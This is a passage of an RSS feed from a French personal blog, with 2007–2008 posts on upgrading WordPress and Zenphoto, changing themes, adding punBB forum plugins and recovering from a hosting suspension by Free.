(c&amp;rsquo;est déjà pas mal !). Il faut retenir que ce n&amp;rsquo;est pas une mise à jour mineure. Il faut d&amp;rsquo;abord vérifier la compatibilité des plugins. Puis bien sûr faire un backup de sa base de données. Enfin respecter scrupuleusement les instructions de mise à jour.&#xA;Avoir la même configuration sur son PC est quand même le meilleur moyen d&amp;rsquo;essuyer les plâtres. Cela ne résoud pas tout, ce serait trop beau, mais permet d&amp;rsquo;affiner les choses avant de faire les mêmes manips en ligne.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Nouveau thème pour le blog</title>
            <link>https://pled.fr/nouveau-theme/</link>
            <pubDate>Sun, 06 Apr 2008 21:23:45 +0000</pubDate>
            <guid>https://pled.fr/nouveau-theme/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;Nouveau thème&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;nouveau-theme.png#floatleft&#34;&gt; Et voilà, comme vous pouvez le voir, un nouveau thème est en place. Exit &lt;strong&gt;Connections&lt;/strong&gt;, voici &lt;strong&gt;Cutline&lt;/strong&gt;. Au départ, je voulais simplement ajouter une colonne (sidebar) à gauche, mais mon thème ne s&amp;rsquo;y prêtait guère, et le code CSS posait des problèmes. Finalement, c&amp;rsquo;était plus simple de repartir d&amp;rsquo;un nouveau thème, plus récent.&lt;/p&gt;&#xA;&lt;p&gt;Mon choix s&amp;rsquo;est donc porté sur &lt;a class=&#34;link&#34; href=&#34;http://cutline.tubetorial.com/&#34;  title=&#34;site Cutline&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Cutline&lt;/strong&gt;&lt;/a&gt;, qui m&amp;rsquo;a semblé assez clair et agréable. De plus, les deux sidebars sont &amp;ldquo;widgets ready&amp;rdquo;, et le CSS mieux pensé, notamment pour gérer la position des images dans un texte. J&amp;rsquo;y ai ensuite apporté mes propres changements.&lt;/p&gt;&#xA;&lt;p&gt;Le principal étant la nouvelle bannière, qui change à chaque chargement de page, allant piocher au hasard dans l&amp;rsquo;album Zenphoto, et affichant seulement un morceau de l&amp;rsquo;image. Ce mécanisme, déjà présent dans l&amp;rsquo;album photo, me plaisait bien, alors le voici adopté pour le blog. A terme, il est probable que les deux fusionneront&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Reste encore quelques finitions à faire, et notamment voir ce que l&amp;rsquo;on peut faire avec les &lt;strong&gt;widgets&lt;/strong&gt;. En gros, ce sont des plugins, mais plus besoin d&amp;rsquo;aller mettre les mains dans le code : tout est géré par le tableau d&amp;rsquo;administration. Les widgets permettent donc d&amp;rsquo;habiller vos sidebars très facilement, et il en existe des milliers. Le risque étant d&amp;rsquo;alourdir la page, aussi bien graphiquement que lors du chargement.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour Zenphoto version 1.1.5</title>
            <link>https://pled.fr/mise-a-jour-zenphoto-version-115/</link>
            <pubDate>Sat, 05 Apr 2008 22:07:29 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-zenphoto-version-115/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;zenphoto.png&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.png#floatleft&#34;&gt; Le ménage de printemps continue : mise à jour de la gallerie photo avec la &lt;strong&gt;Zenphoto v1.1.5&lt;/strong&gt;. Au menu les habituelles améliorations de sécurité et de performance. La procédure de mise à jour est également simplifiée (même si j&amp;rsquo;ai eu un problème).&lt;/p&gt;&#xA;&lt;p&gt;Quelques nouveautés aussi : le &lt;strong&gt;Rating&lt;/strong&gt;, qui permet de donner une note à une photo (ou un album), ainsi qu&amp;rsquo;un &lt;strong&gt;captcha&lt;/strong&gt; simple lors de l&amp;rsquo;ajout de commentaires, afin de contrer les spams. Ces deux nouveautés se résument sur cette image :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;zenphoto.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-zenphoto-version-115/zenphoto.jpg&#34; width=&#34;235&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Les &lt;strong&gt;expressions boléennes&lt;/strong&gt; sont maintenant acceptées dans la recherche. Par défaut c&amp;rsquo;est un &amp;ldquo;OU&amp;rdquo;. Si vous cherchez &amp;ldquo;chient chat&amp;rdquo;, le résultat comprendra à la fois les photos avec le mot chien et celles avec le mot chat. Vous pouvez maintenant rechercher &amp;ldquo;chien &amp;amp; chat&amp;rdquo;, le résultat n&amp;rsquo;affichera que les photos comprenant ces deux mots.&lt;/p&gt;&#xA;&lt;p&gt;Enfin, il y a le &lt;strong&gt;Dynamic Album&lt;/strong&gt;, qui permet de construire un album à partir d&amp;rsquo;une recherche. Ceci est réservé à l&amp;rsquo;administrateur. Cela peut se révéler pratique pour regrouper des photos sur un sujet particulier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Le problème lors de la mise à jour&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Après la mise à jour, l&amp;rsquo;album photo fonctionnait, mais impossible de me connecter pour accéder au panneau d&amp;rsquo;administration. Mot de passe incorrect. Après avoir tout vérifié, j&amp;rsquo;ai posé la question sur le forum de Zenphoto. Moins d&amp;rsquo;une heure après, j&amp;rsquo;avais la solution :&lt;/p&gt;&#xA;&lt;p&gt;Avec &lt;strong&gt;phpMyAdmin&lt;/strong&gt;, je pouvais voir que l&amp;rsquo;utilisateur avait bien été créé dans la table &lt;strong&gt;zen_administrators&lt;/strong&gt;. On pouvait même y voir le mot de passe en clair, ce qui est beaucoup moins normal, il aurait du être codé.&#xA;Solution : vider la table en question (ne pas l&amp;rsquo;effacer, sinon il faudra la recréer en relançant le setup). Il suffit ensuite d&amp;rsquo;accéder à la gallerie photo : on est alors redirigé sur un formulaire de création du compte administrateur.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour Wordpress version 2.5</title>
            <link>https://pled.fr/mise-a-jour-wordpress-version-25/</link>
            <pubDate>Mon, 31 Mar 2008 18:06:29 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-wordpress-version-25/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;Wordpress logo&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wordpress.gif#floatleft&#34;&gt; Le grand ménage de printemps commence ! Mise à jour de Wordpress avec la &lt;strong&gt;version 2.5&lt;/strong&gt;, qui vient de sortir. Extérieurement, vous ne verrez pas de grands changements, mais sous le capot, toute l&amp;rsquo;interface d&amp;rsquo;administration a été revue, et c&amp;rsquo;est une très bonne nouvelle pour tous les utilisateurs de Wordpress ! L&amp;rsquo;éditeur visuel ne devrait plus modifier le code que l&amp;rsquo;on tape (!), et l&amp;rsquo;ensemble de l&amp;rsquo;interface est tout simplement plus en accord ce qui peut se faire aujourd&amp;rsquo;hui.&lt;/p&gt;&#xA;&lt;p&gt;Les autres principales améliorations : une meilleure sécurité des mots de passe, mise à jour des extensions en un clic, une galerie d&amp;rsquo;image intégrée, gestion des médias (audio, vidéo) améliorée, gestion des tags, un moteur de recherche qui couvre les pages (j&amp;rsquo;avais dû installer un plugin pour y palier, c&amp;rsquo;est maintenant inutile), et enfin la possibilité de télécharger plusieurs fichiers simultanément.&lt;/p&gt;&#xA;&lt;p&gt;Par exemple, on peut maintenant ajouter dans un widget de statistiques dans le panneau d&amp;rsquo;administration :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Stats widget&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;398px&#34; data-flex-grow=&#34;165&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/mise-a-jour-wordpress-version-25/stats.jpg&#34; width=&#34;481&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je ne vous montre pas mon graphique, je viens à peine de l&amp;rsquo;installer, et il affiche pour l&amp;rsquo;instant un gros point bleu calé sur 0 !).&lt;/p&gt;&#xA;&lt;p&gt;Bref, beaucoup de choses à voir et explorer. En général, on ne cherche que ce dont on a besoin, ou alors on tombe sur un truc au hasard. En fin de compte, Wordpress est très puissant, ouvert, et les possibilités sont multiples.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Mise à jour 6 avril 2008&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Après quelques jours, le compteur restait désespérément à zéro. Un petit tour sur le forum, et hop : il faut que le thème contienne l&amp;rsquo;appel à la fonction wp_footer, ce qui n&amp;rsquo;était pas le cas du mien. Typiquement, il faut que le ficher &lt;strong&gt;footer.php&lt;/strong&gt; de votre thème se termine comme ceci :&#xA;[sourcecode language=&amp;lsquo;php&amp;rsquo;]&lt;/p&gt;&#xA;&lt;p&gt;[/sourcecode]&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto et Zenphotopress</title>
            <link>https://pled.fr/zenphoto-et-zenphotopress/</link>
            <pubDate>Sun, 16 Dec 2007 18:32:22 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-et-zenphotopress/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;zenphoto.png&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.png#floatleft&#34;&gt; La mise à jour de Zenphoto a posé quelques problèmes, ainsi que celle de Zenphotopress, le plugin Wordpress qui permet d&amp;rsquo;insérer facilement les images des albums dans un article.&lt;/p&gt;&#xA;&lt;p&gt;Le premier problème, c&amp;rsquo;est que dans cette nouvelle version de Zenphoto, l&amp;rsquo;ancien répertoire &lt;strong&gt;zen&lt;/strong&gt; est maintenant nommé &lt;strong&gt;zp-core&lt;/strong&gt;. La conséquence, c&amp;rsquo;est que tous les liens vers les images dans vos précédents articles deviennent invalides, puisqu&amp;rsquo;ils appellent &lt;strong&gt;i.php&lt;/strong&gt; qui se trouve dans ce répertoire. La seule solution est d&amp;rsquo;aller modifier dans la base de données ces liens en question.&lt;/p&gt;&#xA;&lt;p&gt;Il faut donc se connecter à la base de données (avec phpMyAdmin par exemple), et lancer la commande SQL suivante :&lt;/p&gt;&#xA;&lt;p&gt;[sourcecode language=&amp;lsquo;php&amp;rsquo;]&#xA;UPDATE wp_posts SET post_content=replace(post_content,&amp;rsquo;/zen/i.php&amp;rsquo;,&amp;rsquo;/zp-core/i.php&amp;rsquo;);&#xA;[/sourcecode]&lt;/p&gt;&#xA;&lt;p&gt;Dans l&amp;rsquo;exemple, wp_posts est le nom de ma table (préfixe wp_).&lt;/p&gt;&#xA;&lt;p&gt;Le second problème, c&amp;rsquo;était que la version 1.3 de Zenphotopress ne fonctionnait pas. Les liens créés dans l&amp;rsquo;article étaient invalides. Après quelques recherches, j&amp;rsquo;ai posé la question sur le forum de zenphoto. Le lendemain, le développeur me répondait qu&amp;rsquo;une &lt;strong&gt;version 1.3.1&lt;/strong&gt; était maintenant disponible, et qu&amp;rsquo;elle corrigeait ce bug. Belle réactivité ! Je l&amp;rsquo;installais aussitôt, et désormais tout fonctionne à merveille.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto 1.1 (suite et fin)</title>
            <link>https://pled.fr/zenphoto-11-suite-et-fin/</link>
            <pubDate>Sun, 02 Dec 2007 21:32:58 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-11-suite-et-fin/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;zenphoto.png&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.png#floatleft&#34;&gt; Pas mal de petites modifications dans le thème pour profiter des dernières possibilités de Zenphoto. Le mieux est de les lister :&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Vue Archive&lt;/strong&gt; : Dans le &amp;ldquo;top-menu&amp;rdquo;, ajout d&amp;rsquo;un lien vers une vue Archive, qui permet de lister les photos par mois. J&amp;rsquo;aurais plutôt imaginé une liste des albums, ce serait plus pratique. Je verrai si je peux la modifier.Dans la foulée, suppression du lien vers l&amp;rsquo;ancien site, qui ne sera plus accessible que par le menu du blog. Il me reste à rediriger la page d&amp;rsquo;accueil elle-même.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;exif.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;188px&#34; data-flex-grow=&#34;78&#34; height=&#34;491&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-11-suite-et-fin/exif.png&#34; width=&#34;386&#34;&gt; Au-dessus de l&amp;rsquo;image sont affichés deux nouveaux liens : à droite &lt;strong&gt;Taille Originale&lt;/strong&gt; our afficher l&amp;rsquo;image en taille réelle, et à gauche &lt;strong&gt;Infos EXIF&lt;/strong&gt; pour afficher les données enregistrées lors de la prise de vue. Enfin pour l&amp;rsquo;instant vous ne verrez rien concernant ces données EXIF, ni la page s&amp;rsquo;obscurcir et afficher la fenêtre ci-contre :&lt;/p&gt;&#xA;&lt;p&gt;En effet, je me suis aperçu que je perdais ces infos lors de la préparation des albums (probablement lorsque je réduis leur taille en 800x600). Il faut que je regarde comment faire, le prochain album devrait donc comporter ces infos si c&amp;rsquo;est possible.&lt;/p&gt;&#xA;&lt;p&gt;Enfin, le &amp;ldquo;footer&amp;rdquo; (bas de page) a aussi été modifié pour indiquer le nombre d&amp;rsquo;albums, de sous-albums et de photos (3622 à ce jour). Il y a aussi le lien RSS, mais qui permet de visualiser les 10 dernières photos ajoutées. Là encore, je m&amp;rsquo;attendais àvoir les derniers albums. Apparemment, c&amp;rsquo;est fait comme ça.&lt;/p&gt;&#xA;&lt;p&gt;Tout cela donne un petit coup de dépoussiérage à l&amp;rsquo;album photo, avec les nouvelles possibilités qu&amp;rsquo;apporte cette nouvelle version.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto 1.1</title>
            <link>https://pled.fr/zenphoto-v11/</link>
            <pubDate>Thu, 29 Nov 2007 18:20:25 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-v11/</guid>
            <description>&lt;p&gt;Petit changement du look de l&amp;rsquo;Album Photo, avec l&amp;rsquo;ajout d&amp;rsquo;une bannière sur la page d&amp;rsquo;accueil, ainsi qu&amp;rsquo;une fonction de recherche. Voilà un exemple de ce que cela donne maintenant :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;album-banner.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;530px&#34; data-flex-grow=&#34;221&#34; height=&#34;226&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-v11/album-banner.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tout cela grâce à &lt;strong&gt;Zenphoto 1.1.2&lt;/strong&gt;. Cette nouvelle version apporte quelques nouveautés intéressantes, comme une fonction de recherche, l&amp;rsquo;affichage des données &lt;a class=&#34;link&#34; href=&#34;http://fr.wikipedia.org/wiki/Exif&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;EXIF&lt;/a&gt; de la photo, les flux RSS, et une gestion améliorée des sous-albums.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Le bouton de recherche&lt;/strong&gt; est donc placé sous la bannière, et permet comme vous l&amp;rsquo;aurez deviné de retrouver facilement une photo ou un album par mot-clef. Une fonction bien pratique avec les albums qui s&amp;rsquo;accumulent avec le temps.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;La bannière&lt;/strong&gt; change à chaque chargement de la page. Elle va &amp;ldquo;piocher&amp;rdquo; au hasard une photo dans l&amp;rsquo;un des albums, pour n&amp;rsquo;en afficher qu&amp;rsquo;une partie. Le résultat est donc aléatoire, parfois ça ne donne rien, et d&amp;rsquo;autres fois on est agréablement surpris&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;zenphoto.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;854px&#34; data-flex-grow=&#34;356&#34; height=&#34;57&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-v11/zenphoto.png&#34; width=&#34;203&#34;&gt; Concernant les &lt;strong&gt;sous-albums&lt;/strong&gt; (autre chose nécessaire quand le nombre d&amp;rsquo;albums grandit), il me faudra encore attendre. Leur gestion est maintenant présente dans les pages d&amp;rsquo;administration, mais je ne peux toujours pas les utiliser. En effet, à l&amp;rsquo;heure actuelle, tous les commentaires seraient perdus. La question a été posée sur le forum de Zenphoto, le développeur est bien conscient du manque. Soyons patient, et n&amp;rsquo;oublions pas que c&amp;rsquo;est un superbe logiciel de galerie photo, gratuit&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;comment-ajouter-la-bannière&#34;&gt;Comment ajouter la bannière&#xA;&lt;/h3&gt;&lt;p&gt;C&amp;rsquo;est très simple : il faut d&amp;rsquo;abord copier le fichier &lt;em&gt;customfunctions.php&lt;/em&gt; du thème Effervescence dans le répertoire de votre thème. C&amp;rsquo;est ce fichier qui contient la fonction, et qu&amp;rsquo;il faut aller modifier pour ajuster la largeur ou la hauteur si nécessaire.&#xA;Puis ajouter la ligne ci-dessous en tête du fichier &lt;em&gt;index.php&lt;/em&gt; (pour la page d&amp;rsquo;accueil). Même principe pour le fichier &lt;em&gt;album.php&lt;/em&gt; si vous souhaitez avoir la même chose sur les pages d&amp;rsquo;albums, ou encore &lt;em&gt;image.php&lt;/em&gt;.&#xA;Il ne reste plus qu&amp;rsquo;à placer le code suivant à l&amp;rsquo;endroit souhaité dans les mêmes fichiers :&lt;/p&gt;&#xA;&lt;p&gt;[sourcecode language=&amp;lsquo;php&amp;rsquo;]&lt;/p&gt;&#xA;&lt;p&gt;[/sourcecode]&lt;/p&gt;&#xA;&lt;p&gt;Sympa, non ? Il me reste à peaufiner un peu tout cela, regarder les autres nouveautés, comme l&amp;rsquo;affichage des donnés EXIF, et aussi intégrer un bouton RSS.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Erreur 403</title>
            <link>https://pled.fr/erreur-403/</link>
            <pubDate>Wed, 31 Oct 2007 18:56:21 +0000</pubDate>
            <guid>https://pled.fr/erreur-403/</guid>
            <description>&lt;p&gt;Lundi soir, en voulant me connecter sur mon site, j&amp;rsquo;ai reçu le message suivant :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;message403.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1399px&#34; data-flex-grow=&#34;583&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/erreur-403/message403.png&#34; width=&#34;449&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bon, je ne me suis pas trop inquiété, le site a déjà été innacessible quelques jours suite à des problèmes chez Free. Pas avec ce message, mais bon&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Le lendemain, toujours pareil. Je fais quand même une recherche sur Google, et je me rend vite compte que c&amp;rsquo;est Free qui a bloqué volontairement mon compte !&lt;/p&gt;&#xA;&lt;p&gt;Je me rend alors sur ma page de gestion de compte, clique sur &lt;em&gt;Ré-activer votre compte pour les pages personnelles (si celui-ci a été suspendu)&lt;/em&gt;, et reçois le message suivant :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;message1.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;520px&#34; data-flex-grow=&#34;216&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/erreur-403/message1.png&#34; width=&#34;449&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cette fois c&amp;rsquo;est clair : phpMyVisites est un outil qui génère des statistiques sur l&amp;rsquo;utilisation de votre site Web, tout en php. Free fournit déjà ce service, et n&amp;rsquo;autorise pas les utilisateurs à installer leur propre service, ce qui est après tout logique. A ma décharge, quand je l&amp;rsquo;ai installé, Free ne le proposait pas encore&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Bref, j&amp;rsquo;ai donc cliqué sur ici. Et reçu ce dernier message :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;message2.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1200px&#34; data-flex-grow=&#34;500&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/erreur-403/message2.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et voilà, le site est de nouveau opérationnel ce soir. Un peu violent comme méthode, mais bon&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Fancy Archives</title>
            <link>https://pled.fr/fancy-archives/</link>
            <pubDate>Tue, 31 Jul 2007 17:56:37 +0000</pubDate>
            <guid>https://pled.fr/fancy-archives/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;archives.png&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;archives.png#floatleft&#34;&gt; Petite amélioration sur l&amp;rsquo;affichage du blog, la liste des archives commençant à s&amp;rsquo;allonger terriblement.&lt;/p&gt;&#xA;&lt;p&gt;Après quelques recherches sur le web, j&amp;rsquo;ai pu trouver un plugin bien pratique qui permet de les regrouper par année: &lt;a class=&#34;link&#34; href=&#34;http://voidsplat.org/code/wordpress/fancy-archives/&#34;  title=&#34;Lien vers le plugin&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Fancy Archives for Wordpress&lt;/a&gt;. Il suffit alors de cliquer sur une l&amp;rsquo;année voulue pour voir les mois apparaître.&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;installation est très simple. Comme d&amp;rsquo;habitude, décompresser le plugin dans le répertoire &lt;em&gt;wp-content/plugins&lt;/em&gt;, puis l&amp;rsquo;activer par la fenêtre d&amp;rsquo;administration. Dans le nouveau menu &lt;em&gt;Options - Fancy Archives&lt;/em&gt;, on peut ensuite valider quelques options bien pratiques, comme par exemple afficher (ou non) le total des articles à la suite de l&amp;rsquo;année ou du mois.&lt;/p&gt;&#xA;&lt;p&gt;Enfin, il faudra modifier le fichier sidebar.php. Voilà les modifs à faire:&lt;/p&gt;&#xA;&lt;p&gt;Dans fichier &lt;strong&gt;sidebar.php&lt;/strong&gt; (du thème), je remplace:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;par&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&#xA;n&amp;#34;;&#xA;  wp_get_archives(&amp;#39;type=monthly&amp;amp;show_post_count=true&amp;#39;);&#xA;  echo &amp;#34;n&amp;#34;;&#xA; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;C&amp;rsquo;est tout !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Nouveau style pour le forum</title>
            <link>https://pled.fr/nouveau-style-pour-le-forum/</link>
            <pubDate>Sat, 31 Mar 2007 15:03:42 +0000</pubDate>
            <guid>https://pled.fr/nouveau-style-pour-le-forum/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2007/03/forumstyle.png&#34;  title=&#34;forumstyle.png&#34;&#xA;    &gt;&lt;img alt=&#34;forumstyle.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;324px&#34; data-flex-grow=&#34;135&#34; height=&#34;532&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/nouveau-style-pour-le-forum/forumstyle.png&#34; width=&#34;720&#34;&gt;&lt;/a&gt;&#xA;Le forum s&amp;rsquo;adapte au Blog avec un nouveau &amp;ldquo;style&amp;rdquo;. Je suis parti d&amp;rsquo;un style plutôt bien conçu, Blue Lagon (qui est également disponible maintenant), trouvé sur &lt;a class=&#34;link&#34; href=&#34;http://www.punbb.fr/styles/style.php?id=22&#34;  title=&#34;style Blue Lagoon&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;punBB-fr&lt;/a&gt;, et j&amp;rsquo;ai adapté les couleurs en partant du thème du blog.&lt;/p&gt;&#xA;&lt;p&gt;Essentiellement, j&amp;rsquo;ai du retravailler toutes les images servant au thème (les dégradés utilisés pour afficher les barres de titres) sous The Gimp (l&amp;rsquo;équivalent de Photoshop du logiciel libre). Puis modifier le fichier css du thème, ainsi que l&amp;rsquo;image du panneau supérieur bien sûr (vous y reconnaîtrez le paysage du Roc-Trévezel utilisé pour le blog).&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est désormais le thème par défaut. Si vous avez besoin de le changer pour votre compte, allez dans le menu Profil, sélectionnez Affichage dans le menu de gauche, et choisissez le style &amp;ldquo;Pascal&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Vous pouvez également définir un avatar, c&amp;rsquo;est-à-dire une image qiu sera affichée pour chacun de vos messages. L&amp;rsquo;image doit avoir une taille de 60x60, et vous pouvez l&amp;rsquo;ajouter par le menu Profil - Personnalisation.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>punBB (suite)</title>
            <link>https://pled.fr/punbb-suite/</link>
            <pubDate>Tue, 27 Mar 2007 20:55:16 +0000</pubDate>
            <guid>https://pled.fr/punbb-suite/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;punbb.jpg&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;punbb.jpg#floatleft&#34;&gt; punBB a l&amp;rsquo;air vraiment bien, et s&amp;rsquo;il est simple et basique, on trouve quand même tout le nécessaire: ajout de 2 plugins (ou mods) bien pratiques:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Akismet&lt;/strong&gt;: une adaption du plugin de wordpress pour punBB, qui détecte les spams et les &amp;ldquo;bots&amp;rdquo; (les robots qui créent automatiquement des messages sur les forums), et que l&amp;rsquo;on peut trouver &lt;a class=&#34;link&#34; href=&#34;http://www.punres.org/viewtopic.php?pid=8929#p8929&#34;  title=&#34;Akismet plugin&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;. L&amp;rsquo;installation est très facile, il faut simplement récupérer une clef API pour Akismet. Voici &lt;a class=&#34;link&#34; href=&#34;http://wordpress.com/api-keys/&#34;  title=&#34;clef Akismet&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;le lien&lt;/a&gt; à partir du site Wordpress.&lt;/p&gt;&#xA;&lt;p&gt;Le principe est le suivant: Akismet décide si le message est un spam, en analysant son contenu, l&amp;rsquo;adresse IP de l&amp;rsquo;émetteur, etc&amp;hellip; Et les met en quarantaine, à l&amp;rsquo;administrateur de décider s&amp;rsquo;ils doivent être effacés ou non. Sur Wordpress, c&amp;rsquo;est très efficace (44 spams bloqués sur mon blog à ce jour, aucune erreur), et c&amp;rsquo;est gratuit pour les particuliers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Easy Poll&lt;/strong&gt;: un plugin qui permet de lancer un sondage sur punBB. Téléchargeable &lt;a class=&#34;link&#34; href=&#34;http://www.punbb.fr/mods/mod.php?id=55&#34;  title=&#34;Easy Poll&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;. Contrairement à celui de phpBB, il permet plus de 10 options pour le vote. Parfait pour un sondage sur le premier tour des élections présidentielles !&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;installation est assez longue, il y a une dizaine de fichiers à modifier à la main, c&amp;rsquo;est très fastidieux, et la moindre erreur ne pardonne pas. Il m&amp;rsquo;a fallu presque 2 heures pour l&amp;rsquo;installer !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Forum punBB</title>
            <link>https://pled.fr/forum-punbb/</link>
